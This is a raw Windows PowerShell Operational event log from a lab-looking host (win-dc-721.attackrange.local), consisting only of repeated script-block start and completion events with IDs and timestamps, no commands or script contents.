SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478998
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478995
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478993
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478992
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478989
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478987
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478986
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478983
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478981
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478980
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478979
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478978
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478976
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478975
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478974
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478972
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478969
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478968
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478967
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478966
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478963
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478961
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478960
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478957
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478955
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478954
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478951
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478949
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478948
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478947
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478946
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478944
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478943
Keywords=None
